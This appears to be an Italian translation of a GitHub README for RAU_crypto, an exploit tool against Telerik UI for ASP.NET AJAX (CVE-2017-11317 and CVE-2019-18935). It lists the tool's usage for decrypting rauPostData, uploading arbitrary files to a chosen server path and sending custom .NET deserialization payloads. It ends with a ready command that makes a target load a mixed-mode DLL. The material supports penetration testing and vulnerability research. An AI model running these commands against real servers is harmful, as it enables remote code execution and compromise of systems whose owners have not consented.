
Questo progetto per CVE-2019-18935
Exploit combinato per Telerik UI for ASP.NET AJAX.
Affinché l'exploit funzioni, generalmente hai bisogno di una versione con chiavi hardcoded, oppure devi conoscere la chiave, ad esempio se puoi divulgare il contenuto di web.config. L'exploit consente inoltre la decifrazione e la cifratura dirette del rauPostData utilizzato con Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome o pip3 install pycryptodomexIl mio altro exploit per Telerik UI (per CVE-2017-9248) potrebbe probabilmente interessarti. È disponibile qui:
Nota: gli ultimi quattro elementi sono completi ma non rilasciati.
La vulnerabilità del caricamento file (CVE-2017-11317) è stata scoperta da altri, credo che i crediti vadano a @straight_blast @pwntester @olekmirosh. Subito dopo l'annuncio, ho incontrato la libreria Telerik durante il mio lavoro, quindi l'ho studiata insieme alla vulnerabilità e ho scritto questo exploit a luglio 2017. Ho anche segnalato CVE-2017-11357 per il relativo riferimento diretto a oggetti insicuro.
La vulnerabilità di deserializzazione .NET (CVE-2019-18935) è stata scoperta da @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Screenshot della decifratura
Screenshot del caricamento
Per i dettagli sui payload personalizzati per la deserializzazione .NET, c'è un ottimo articolo di @mwulftange, che ha scoperto questa vulnerabilità, sul blog Code White al seguente link.
Altri link pertinenti.
Esempio di payload di deserializzazione .NET:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Per la DLL in modalità mista, vedi il mio altro repository GitHub:
Un ringraziamento speciale a @irsdl che ha ispirato la funzionalità dei payload personalizzati.